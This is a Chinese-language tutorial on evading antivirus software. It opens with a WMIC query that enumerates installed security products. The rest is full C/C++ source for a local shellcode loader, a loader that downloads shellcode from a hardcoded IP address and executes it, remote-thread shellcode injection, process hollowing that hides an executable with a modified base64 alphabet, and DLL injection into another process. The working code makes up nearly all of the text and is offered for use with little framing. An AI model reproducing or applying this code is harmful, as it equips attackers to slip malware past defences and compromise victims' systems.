1.准备工作
1.1 查看杀软名称
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
1.2 在线查杀
https://www.virustotal.com/
2. 免杀方法
2.1分离免杀
2.1.1 shellcode加载器
代码如下:
#include <iostream> #include <windows.h> #include <stdio.h> using namespace std; int main(int argc,char **argv) { char *filename=NULL; filename = argv[1]; int fileSize=0; FILE *fp=NULL; fp = fopen(filename,"rb"); if(fp==NULL){ return 1; }else{ fseek(fp,0,SEEK_END); fileSize = ftell(fp); fseek(fp,0,SEEK_SET); char *fileBuffer = NULL; fileBuffer = (char *)malloc(fileSize); fread(fileBuffer,1,fileSize,fp); unsigned char *shellcodeBuffer=NULL; shellcodeBuffer = (unsigned char *)malloc(fileSize/2); memset(shellcodeBuffer,0,fileSize/2); for(int i=0;i<fileSize/2;i++){ sscanf(fileBuffer,"\\x%x",&shellcodeBuffer[i]); fileBuffer = fileBuffer+4; } void* exec = VirtualAlloc(0,fileSize/2,MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(exec,shellcodeBuffer,fileSize/2); ((void(*)())exec)(); } return 2; }
2.1.2 远程加载shellcode
//main.cpp #include <stdio.h> #include <iostream> #include<time.h> #include "mySocket.h" #pragma comment(lib, "ws2_32.lib") using namespace std; //只是对Socket中使用TCP协议的封装 int MySocket::InitClient(SOCKET *sock, string ip, int port) { WSADATA wsaData;//初始化wsaData if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { return -1; } //创建套接字 if ((*sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { WSACleanup(); return -1; } struct sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(port); serverAddr.sin_addr.s_addr = inet_addr(ip.c_str()); if (connect(*sock, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { return -1; } return 0; } int MySocket::CloseMySocket(SOCKET *sock) { if (closesocket(*sock) == SOCKET_ERROR) { WSACleanup(); return -1; } return 0 ; } int MySocket::RecvData(SOCKET sock, string &data) { int bufLen = 255; char buf[256]; int recvLen= 0; int iResult; buf[bufLen] = '\0'; while (true) { iResult = recv(sock, buf, bufLen, 0); if (iResult < 0) { data = ""; return -1; } recvLen += iResult; if (iResult == 0) { return recvLen; } if (iResult == bufLen) { data += buf; ZeroMemory(buf, bufLen); continue; } if (iResult > 0 && iResult < bufLen) { data += buf; return recvLen; } } } int MySocket::SendData(SOCKET sock, const string data) { int iResult = send(sock, data.c_str(), data.length(), 0); if (iResult == SOCKET_ERROR) { MySocket::CloseMySocket(&sock); WSACleanup(); return -1; } return 0; } int main() { SOCKET clientSock; string str; int iResult; if (MySocket::InitClient(&clientSock, "144.202.127.21", 9999) == -1)//主机IP地址+端口号 { printf("连接失败\n"); return -1; } string head = "GET / HTTP/1.1\r\n"; head.append("Host: 144.202.127.21\r\n");//请求的域名 head.append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"); head.append("User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36\r\n"); head.append("Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n"); head.append("Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7"); head.append("Accept-Encoding: gzip,deflate\r\n"); head.append("\r\n");//表明请求头结束了 iResult = MySocket::SendData(clientSock, head); if (iResult == -1) { printf("发送数据失败\n"); return -1; } iResult = MySocket::RecvData(clientSock, str); if (iResult == -1) { printf("接受数据失败\n"); return -1; } //printf("----接受数据长度:%d----\n", iResult); int shellcodeLen=0; shellcodeLen = iResult-str.find_last_of("\n",iResult-2)-2; //char* shellcode=NULL; //printf("%d\n",shellcodeLen); string shellcode; shellcode = str.substr(str.find_last_of("\n",iResult-2)+1,shellcodeLen); MySocket::CloseMySocket(&clientSock); char* pfilebuffer; pfilebuffer = (char*)(shellcode.c_str()); //printf(pfilebuffer); unsigned char *shellcodeBuffer=NULL; shellcodeBuffer = (unsigned char *)malloc(shellcodeLen/2); memset(shellcodeBuffer,0,shellcodeLen/2); for(int i=0;i<shellcodeLen/2;i++){ sscanf(pfilebuffer,"\\x%x",&shellcodeBuffer[i]); pfilebuffer = pfilebuffer+4; } void* exec = VirtualAlloc(0,shellcodeLen/2,MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(exec,shellcodeBuffer,shellcodeLen/2); ((void(*)())exec)(); return 0; }
//mySocket.h #include <Winsock2.h> #include <Windows.h> #include <Ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") #include <string> using namespace std; //只是对Socket中使用TCP协议的一种封装 class MySocket{ public: static int InitClient(SOCKET *sock, string ip, int port); static int CloseMySocket(SOCKET *Sock); static int SendData(SOCKET sock, const string data); static int RecvData(SOCKET sock, string &data); };
免杀效果如下:
2.1.3 shellcode远程线程注入
命令行指定承载了shellcode的文件和要注入的进程pid,从文件中读取一段shellcode,然后把把这段shellcode注入到远程进程中并创建一个线程运行这段shellcode,代码如下:
#include <iostream> #include <stdio.h> #include <stdlib.h> #include <windows.h> using namespace std; int main(int argc,char* argv[]) { int ShellSize = 0; char* filename = argv[1]; FILE* fp=NULL; fp = fopen(filename,"rb"); fseek(fp,0,SEEK_END); ShellSize = ftell(fp); fseek(fp,0,SEEK_SET); char* fileBuffer = (char *)malloc(ShellSize); fread(fileBuffer,1,ShellSize,fp); unsigned char *shellcodeBuffer=NULL; shellcodeBuffer = (unsigned char *)malloc(ShellSize/2); memset(shellcodeBuffer,0,ShellSize/2); for(int i=0;i<ShellSize/2;i++){ sscanf(fileBuffer,"\\x%x",&shellcodeBuffer[i]); fileBuffer = fileBuffer+4; } ShellSize = ShellSize/2; int targetPid=atoi(argv[2]); HANDLE hProcess = ::OpenProcess(PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE, FALSE, targetPid); if (hProcess == NULL) { printf("Can't open this process!\n"); return FALSE; } LPVOID pThread = VirtualAllocEx(hProcess, NULL, ShellSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pThread, shellcodeBuffer, ShellSize, NULL); CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pThread, NULL, 0, NULL); return 0; }
运行效果及免杀效果如下图所示:
2.1.4 PE文件加载
1.首先将一个exe文件使用修改过编码顺序的base64编码算法进行编码,代码如下:
//base64.cpp #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <fcntl.h> const char * base64char = "BACDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; char * base64_encode(char * bindata, char * base64, int binlength ) { int i, j; unsigned char current; for ( i = 0, j = 0 ; i < binlength ; i += 3 ) { current = (bindata[i] >> 2) ; current &= (unsigned char)0x3F; base64[j++] = base64char[(int)current]; current = ( (unsigned char)(bindata[i] << 4 ) ) & ( (unsigned char)0x30 ) ; if ( i + 1 >= binlength ) { base64[j++] = base64char[(int)current]; base64[j++] = '='; base64[j++] = '='; //printf("%x",i); break; } //printf("%d\n",i); current |= ( (unsigned char)(bindata[i+1] >> 4) ) & ( (unsigned char) 0x0F ); base64[j++] = base64char[(int)current]; current = ( (unsigned char)(bindata[i+1] << 2) ) & ( (unsigned char)0x3C ) ; if ( i + 2 >= binlength ) { base64[j++] = base64char[(int)current]; base64[j++] = '='; break; } current |= ( (unsigned char)(bindata[i+2] >> 6) ) & ( (unsigned char) 0x03 ); base64[j++] = base64char[(int)current]; current = ( (unsigned char)bindata[i+2] ) & ( (unsigned char)0x3F ) ; base64[j++] = base64char[(int)current]; } base64[j] = '\0'; return base64; } int main(int argc, char* argv[]) { FILE *fp = NULL; unsigned int size; //文件字节数 char *buffer; char *buffer1; size_t result; char *ret1; unsigned int length; char* filename=NULL; filename = argv[1]; fp = fopen(filename,"rb"); if (NULL == fp) { printf("open_error"); exit(1); } //获取文件大小 fseek(fp, 0L, SEEK_END); size = ftell(fp); fseek(fp, 0L, SEEK_SET); printf("Sizeof file length is : %d \n",size); //分配内存存储整个文件 buffer = (char *)malloc((size/4+1)*4); if (NULL == buffer) { printf("memory_error"); exit(2); } //将文件拷贝到buffer result = fread(buffer, 1, size, fp); if (result != size) { printf("reading_error"); exit (3); } fclose(fp); //base64编码 buffer1 = (char *)malloc((size/4+1)*8); if (NULL == buffer1) { printf("memory_error"); exit(2); } ret1 = base64_encode(buffer, buffer1, size); length = strlen(buffer1); FILE *fp1 = fopen(argv[2],"ab"); fprintf(fp1,"char* encodeedFile=\""); fwrite(buffer1, strlen(buffer1), 1, fp1); fprintf(fp1,"\";"); free(buffer); free(buffer1); printf("Generate File Success!! Filename is %s",argv[2]); return 0; }
使用方法如下图所示:
2.将生成的.h
文件拷贝到base64decode
项目和main.cpp
文件同级目录中进行编译,base64decode
的main.cpp
内容如下:
#include <iostream> #include <stdlib.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <windows.h> #include "res.h" using namespace std; const char * base64char = "BACDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; int base64_decode(char * base64,char * bindata ) { int i, j; unsigned char k; unsigned char temp[4]; for ( i = 0, j = 0; base64[i] != '\0' ; i += 4 ) { memset( temp, 0xFF, sizeof(temp) ); for ( k = 0 ; k < 64 ; k ++ ) { if ( base64char[k] == base64[i] ) temp[0]= k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( base64char[k] == base64[i+1] ) temp[1]= k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( base64char[k] == base64[i+2] ) temp[2]= k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( base64char[k] == base64[i+3] ) temp[3]= k; } bindata[j++] = ((unsigned char)(((unsigned char)(temp[0] << 2))&0xFC)) | ((unsigned char)((unsigned char)(temp[1]>>4)&0x03)); if ( base64[i+2] == '=' ) break; bindata[j++] = ((unsigned char)(((unsigned char)(temp[1] << 4))&0xF0)) | ((unsigned char)((unsigned char)(temp[2]>>2)&0x0F)); if ( base64[i+3] == '=' ) break; bindata[j++] = ((unsigned char)(((unsigned char)(temp[2] << 6))&0xF0)) | ((unsigned char)(temp[3]&0x3F)); } return j; } PIMAGE_DOS_HEADER getDosHeader(char *filebuffer){ //声明所要用到的变量 PIMAGE_DOS_HEADER pDosHeader = NULL; //获取DOS头 pDosHeader = (PIMAGE_DOS_HEADER)filebuffer; return pDosHeader; } PIMAGE_NT_HEADERS32 getNTHeader(char *filebuffer){ PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)filebuffer; PIMAGE_NT_HEADERS pNTHeader = PIMAGE_NT_HEADERS(filebuffer + (*pDosHeader).e_lfanew); return pNTHeader; } char* getImageBufferFromFileBuffer(char* pfileBuffer){ char *pImageBuffer=NULL; PIMAGE_DOS_HEADER pDosHeader = getDosHeader(pfileBuffer); PIMAGE_NT_HEADERS32 pNTHeader = getNTHeader(pfileBuffer); pImageBuffer = (char *)malloc(pNTHeader->OptionalHeader.SizeOfImage);//申请imagebuffer if (pImageBuffer==NULL){ printf("malloc imageBuffer failed!\n"); }else{ //复制PE头 memcpy(pImageBuffer,pfileBuffer,pNTHeader->OptionalHeader.SizeOfHeaders); //复制每一节 for(int i=0;i<pNTHeader->FileHeader.NumberOfSections;i++){ PIMAGE_SECTION_HEADER pTmpImageSectionHeader=NULL; pTmpImageSectionHeader = PIMAGE_SECTION_HEADER(pfileBuffer + (pDosHeader->e_lfanew) + sizeof(pNTHeader->Signature) +sizeof(IMAGE_FILE_HEADER) + pNTHeader->FileHeader.SizeOfOptionalHeader+i*sizeof(IMAGE_SECTION_HEADER)); memcpy(pImageBuffer+pTmpImageSectionHeader->VirtualAddress,pfileBuffer+pTmpImageSectionHeader->PointerToRawData,pTmpImageSectionHeader->SizeOfRawData); } } return pImageBuffer; } int main() { char* bindata = (char *)malloc(strlen(encodeedFile)); base64_decode(encodeedFile,bindata); char* pFileBuffer = bindata; PIMAGE_DOS_HEADER pDosHeader = getDosHeader(pFileBuffer); PIMAGE_NT_HEADERS32 pNTHeader = getNTHeader(pFileBuffer); char* pImageBuffer=getImageBufferFromFileBuffer(pFileBuffer); char currentFilename[MAX_PATH]={0}; ::GetModuleFileName(NULL,currentFilename,MAX_PATH); STARTUPINFO myStartUpInfo; ::memset(&myStartUpInfo, 0 ,sizeof(myStartUpInfo)); //创建进程启动信息结构体 myStartUpInfo.cb = sizeof(myStartUpInfo); PROCESS_INFORMATION myProcessInfo; ::memset(&myProcessInfo, 0 ,sizeof(myProcessInfo)); //创建进程返回信息结构体 CreateProcess(currentFilename, NULL, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &myStartUpInfo, &myProcessInfo ); //以挂起的方式创建进程 CONTEXT context; context.ContextFlags = CONTEXT_FULL; //创建线程context结构用于存储所创建进程主线程的context ::GetThreadContext(myProcessInfo.hThread,&context); DWORD dwRemoteImageBase; //获取傀儡进程ImageBase ReadProcessMemory(myProcessInfo.hProcess,(LPVOID)(context.Ebx+8),&dwRemoteImageBase,sizeof(DWORD),NULL); //卸载傀儡程序 HMODULE hntDll = GetModuleHandle(TEXT("ntdll.dll")); typedef unsigned long(__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long); pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL; ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(hntDll,"ZwUnmapViewOfSection"); BOOL res = FALSE; if (ZwUnmapViewOfSection) { res = (ZwUnmapViewOfSection((unsigned long)myProcessInfo.hProcess, dwRemoteImageBase) == 0); } if (res){ //在远程进程空间中申请内存 void *pRemoteImageBase=NULL; pRemoteImageBase = VirtualAllocEx(myProcessInfo.hProcess,(PVOID)dwRemoteImageBase,(DWORD)(pNTHeader->OptionalHeader.SizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); //尝试在远程空间中原有的imagebase中获得内存 if (pRemoteImageBase != NULL){ printf("get VirtualAllocEx success.\n"); //获取成功 }else{ pRemoteImageBase = VirtualAllocEx(myProcessInfo.hProcess,NULL,(DWORD)(pNTHeader->OptionalHeader.SizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); //修复重定位表 PIMAGE_BASE_RELOCATION pImageBaseRelaction=NULL; pImageBaseRelaction = PIMAGE_BASE_RELOCATION(pImageBuffer+ pNTHeader->OptionalHeader.DataDirectory[5].VirtualAddress); while(pImageBaseRelaction->VirtualAddress!=0){ //遍历RELOCATION数据块 //遍历每一个RELOCATION数据块中的数据项 struct TypeOffset{ WORD offset : 12; WORD type : 4; }; TypeOffset* pTypeOffset=NULL; DWORD *ptmp = NULL; for(int i=0;i<((DWORD)pImageBaseRelaction->SizeOfBlock-8)/2;i++){ pTypeOffset = (TypeOffset *)((DWORD)pImageBaseRelaction+8+i*2); char *realRVA=NULL; if(pTypeOffset->type==3){ realRVA = (char *)((DWORD)pImageBaseRelaction->VirtualAddress+pTypeOffset->offset); ptmp = (DWORD *)((DWORD)pImageBuffer+(DWORD)realRVA); *ptmp = DWORD(*ptmp) - pNTHeader->OptionalHeader.ImageBase + (DWORD)pRemoteImageBase; } } pImageBaseRelaction=PIMAGE_BASE_RELOCATION((DWORD)pImageBaseRelaction+pImageBaseRelaction->SizeOfBlock); } } DWORD writeRes=NULL; WriteProcessMemory(myProcessInfo.hProcess,pRemoteImageBase,pImageBuffer,pNTHeader->OptionalHeader.SizeOfImage,&writeRes); context.Eax = (DWORD)(pNTHeader->OptionalHeader.AddressOfEntryPoint) + (DWORD)pRemoteImageBase;//修改context的OEP ::SetThreadContext(myProcessInfo.hThread,&context); //修改远程进程的ImageBase LPVOID baseAddress=NULL; baseAddress = (LPVOID)(context.Ebx+8); WriteProcessMemory(myProcessInfo.hProcess,baseAddress,&pRemoteImageBase,sizeof(pRemoteImageBase),NULL); ReadProcessMemory(myProcessInfo.hProcess,(LPVOID)(context.Ebx+8),&dwRemoteImageBase,sizeof(DWORD),NULL); ResumeThread(myProcessInfo.hThread); }else{ printf("Get memory failed!"); } return 0; }
3.查杀结果如下图所示:
2.1.5 远程dll注入
将一个设置好的dll加载到一个别人的进程中,代码如下:
#include <iostream> #include <windows.h> #include <stdio.h> #include <stdlib.h> using namespace std; int main(int argc,char* argv[]) { char* dllPath = NULL; dllPath = argv[1]; int targetPid=0; targetPid = atoi(argv[2]); //printf("dll path : %s\n",dllPath); //printf("target process id : %d\n",targetPid); HANDLE hProcess = ::OpenProcess(PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE, FALSE, targetPid); if (hProcess == NULL) { printf("Can't open this process!\n"); return FALSE; } HMODULE hKernel32 = GetModuleHandle("kernel32.dll"); LPTHREAD_START_ROUTINE pfnLoadLibraryA = (LPTHREAD_START_ROUTINE)::GetProcAddress(hKernel32, "LoadLibraryA"); int dllPathLen = strlen(dllPath)+1; LPVOID lpRemoteDllPath = ::VirtualAllocEx(hProcess, 0, dllPathLen, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lpRemoteDllPath, dllPath, dllPathLen, NULL); HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, pfnLoadLibraryA, lpRemoteDllPath, NULL, NULL); if (NULL == hRemoteThread) { ::CloseHandle(hProcess); return FALSE; } WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); CloseHandle(hProcess); printf("Dll inject success!\n"); return 0; }
效果如下图所示,但事实上这个免杀结果肯定是不准的。